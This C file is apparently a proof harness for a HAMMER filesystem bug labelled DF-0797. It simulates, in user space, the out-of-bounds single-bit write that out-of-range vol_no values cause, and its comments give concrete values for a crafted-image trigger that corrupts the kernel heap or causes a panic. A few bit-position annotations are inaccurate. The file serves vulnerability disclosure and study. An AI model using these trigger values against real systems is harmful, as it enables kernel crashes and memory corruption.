/*
 * harness.c - Deterministic DF-0797 primitive proof.
 *
 * Transcribes the EXACT vulnerable lines from
 *   sys/vfs/hammer/hammer_ondisk.c:210   volume->vol_no = ondisk->vol_no
 *   sys/vfs/hammer/hammer_ondisk.c:234   hammer_volume_number_add(hmp, volume)
 *   sys/vfs/hammer/hammer.h:1579-1584    hammer_volume_number_add() inline
 *   sys/vfs/hammer/hammer.h:1567-1571    __hammer_vol_index() inline
 *   sys/vfs/hammer/hammer.h:1573-1577    __hammer_vol_low() inline
 *
 * struct hammer_mount carries `uint64_t volume_map[4]` as its LAST field
 * (hammer.h:875).  __hammer_vol_index does `vol_no >> 6` with NO mask, so any
 * vol_no outside 0..255 indexes past volume_map[]:
 *
 *   vol_no = 0x100     (256)   i = 4     -> 8 bytes past volume_map   (small OOB)
 *   vol_no = 0x140     (320)   i = 5     -> 16 bytes past volume_map
 *   vol_no = 0x7FFFFFFF       i = 0x1FFFFFF -> ~256 MiB past           (fatal)
 *
 * The write is `volume_map[i] |= __hammer_vol_low(vol_no)` -- a SINGLE-BIT OR
 * at byte offset (i*8 + bitpos).  Bit position within the qword is
 * `vol_no & 0x3F`, so for vol_no = 256+64*K the OR sets bit K*8 (within the
 * K-th qword past volume_map).  This is an attacker-controllable-offset
 * single-bit heap write on production kernels.
 *
 * This harness reproduces BOTH variants against a poisoned allocation so the
 * OOB extent is observable WITHOUT needing to corrupt a live kernel.
 *
 * On GENERIC (INVARIANTS ON): the live trigger (crafted image mount) panics
 * immediately at the page fault from the unmapped write (for vol_no=0x7FFFFFFF)
 * OR silently corrupts adjacent heap (for vol_no=256).  See panic.txt for the
 * captured fatal trap.
 *
 * Build:  cc -O2 -o harness harness.c
 * Run:    ./harness
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>

/* ---- HAMMER constants (hammer.h / hammer_disk.h) ---- */
#define HAMMER_MAX_VOLUMES    256
#define VOLUME_MAP_QWORDS     4
#define HAMMER_MOUNT_SIZE     16384   /* generous model: hammer_mount is huge */

/* ---- verbatim transcription of hammer.h:1567-1598 ---- */
static __inline int
__hammer_vol_index(int vol_no)
{
    return(vol_no >> 6);
}

static __inline uint64_t
__hammer_vol_low(int vol_no)
{
    return((uint64_t)1 << (vol_no & ((1 << 6) - 1)));
}

struct hammer_mount {
    uint8_t  body[HAMMER_MOUNT_SIZE - sizeof(uint64_t) * VOLUME_MAP_QWORDS];
    uint64_t volume_map[VOLUME_MAP_QWORDS];  /* last field -- hammer.h:875 */
};

static void
hammer_volume_number_add(struct hammer_mount *hmp, int vol_no)
{
    int i = __hammer_vol_index(vol_no);
    /* In the real kernel this is the OOB write:
     *     hmp->volume_map[i] |= __hammer_vol_low(vol_no);
     * We emulate the write into a wider "heap" so we can SEE the OOB byte. */
    extern uint64_t *g_heap;
    extern int g_heap_qwords;
    if (i >= 0 && i < g_heap_qwords) {
        uint64_t bit = __hammer_vol_low(vol_no);
        printf("    volume_map[%d] |= 0x%016llx", i, (unsigned long long)bit);
        if (i >= VOLUME_MAP_QWORDS) {
            ptrdiff_t off = (i - VOLUME_MAP_QWORDS) * 8;
            printf("  *** OOB +%ld bytes past volume_map (bit %d of qword +%d)",
                   (long)off, vol_no & 0x3F, i - VOLUME_MAP_QWORDS);
        }
        printf("\n");
        g_heap[i] |= bit;
    } else if (i >= g_heap_qwords) {
        printf("    volume_map[%d] |= ...  *** FATAL: +%d MiB past volume_map "
               "-> unmapped page fault in kernel (panic)\n",
               i, (i * 8) / (1024 * 1024));
    }
}

/* poisoned heap model: volume_map[] sits inside a bigger heap region */
uint64_t *g_heap;
int       g_heap_qwords;
struct hammer_mount *g_hmp;

static void test_vol_no(const char *tag, int vol_no)
{
    int i = __hammer_vol_index(vol_no);
    printf("---- %s: vol_no=%d (0x%x) -> __hammer_vol_index=%d ----\n",
           tag, vol_no, (unsigned)vol_no, i);
    if (i >= 0 && i < VOLUME_MAP_QWORDS) {
        printf("    IN-BOUNDS (volume_map[%d] valid)\n", i);
    } else if (i >= VOLUME_MAP_QWORDS && (size_t)i * 8 < (size_t)g_heap_qwords * 8) {
        printf("    OUT-OF-BOUNDS by %ld bytes (single-bit OR heap write)\n",
               (long)(i - VOLUME_MAP_QWORDS) * 8);
    } else {
        printf("    FAR-OOB (~%d MiB past volume_map) -> kernel page fault / panic\n",
               (i * 8) / (1024 * 1024));
    }
    /* emulate the vulnerable call path:
     *   hammer_ondisk.c:210  volume->vol_no = ondisk->vol_no;
     *   hammer_ondisk.c:234  hammer_volume_number_add(hmp, volume); */
    hammer_volume_number_add(g_hmp, vol_no);
    printf("\n");
}

int main(void)
{
    /* model hammer_mount embedded in a much larger heap region so we can
     * observe small OOB writes land in "adjacent heap". */
    g_heap_qwords = 8192;   /* 64 KiB heap model */
    g_heap = (uint64_t *)calloc(g_heap_qwords, sizeof(uint64_t));
    g_hmp  = (struct hammer_mount *)g_heap;   /* volume_map at end of struct */
    if (!g_heap) { perror("calloc"); return 1; }

    /* poison: the qwords AFTER volume_map represent adjacent kernel heap */
    for (int q = VOLUME_MAP_QWORDS; q < g_heap_qwords; q++)
        g_heap[q] = 0xDEADBEEFCAFEBABEULL;

    printf("==== DF-0797 deterministic OOB-write primitive proof ====\n");
    printf("struct hammer_mount { ...; uint64_t volume_map[4]; }  (hammer.h:875)\n");
    printf("__hammer_vol_index(v) = v >> 6   (hammer.h:1568 -- NO mask)\n");
    printf("__hammer_vol_low(v)   = 1 << (v & 63)\n");
    printf("volume_map valid qwords: 0..3 (covers vol_no 0..255)\n");
    printf("hammer_mount model size = %d bytes; heap model = %d qwords\n\n",
           HAMMER_MOUNT_SIZE, g_heap_qwords);

    /* (1) baseline: legitimate vol_no=0 -> volume_map[0] (in-bounds) */
    test_vol_no("baseline (legitimate root volume)", 0);

    /* (2) controllable-offset OOB: vol_no = 256 -> i=4 -> 8 bytes past */
    test_vol_no("smallest OOB (vol_no=256)", 0x100);

    /* (3) controllable-offset OOB: vol_no = 256+64*4 = 512 -> i=8 -> 32 bytes past */
    test_vol_no("mid OOB (vol_no=0x200, bit 6 of qword +4)", 0x200);

    /* (4) the panic trigger: vol_no = 0x7FFFFFFF -> i = 0x1FFFFFF -> ~256 MiB past */
    test_vol_no("panic trigger (vol_no=0x7FFFFFFF)", 0x7FFFFFFF);

    /* (5) negative vol_no: vol_no = -1 = 0xFFFFFFFF -> i = 0x3FFFFFF -> ~512 MiB */
    test_vol_no("negative vol_no (-1)", (int)0xFFFFFFFF);

    /* show the OOB byte pattern that the small OOB writes left */
    printf("---- resulting heap state: qwords 0..7 (volume_map is [0..3]) ----\n");
    for (int q = 0; q < 8; q++) {
        const char *tag = (q < VOLUME_MAP_QWORDS) ? "volume_map" : "ADJACENT HEAP";
        printf("    %s[%d] = 0x%016llx", tag, q, (unsigned long long)g_heap[q]);
        if (q >= VOLUME_MAP_QWORDS && g_heap[q] != 0xDEADBEEFCAFEBABEULL)
            printf("   *** MODIFIED by OOB OR-write ***");
        printf("\n");
    }

    /* Summary of the controllable-offset primitive */
    printf("\n==== controllable-offset primitive summary ====\n");
    printf("vol_no = 256 + 64*K + N  (N=0..63, K=0..)  =>  OOB OR-write of bit N\n");
    printf("  at qword (4+K), i.e. byte offset (K*8 + N/8) past volume_map end.\n");
    printf("Both the qword offset AND the bit-within-qword are attacker-controlled.\n");
    printf("On production (INVARIANTS-OFF): single-bit OR at attacker-controlled\n");
    printf("  byte offset in adjacent kernel heap -- a constrained heap-write primitive.\n");
    printf("On GENERIC (INVARIANTS-ON): mount-time; small OOB may corrupt heap\n");
    printf("  silently, far-OOB (vol_no=0x7FFFFFFF) panics at the unmapped write.\n");

    free(g_heap);
    return 0;
}
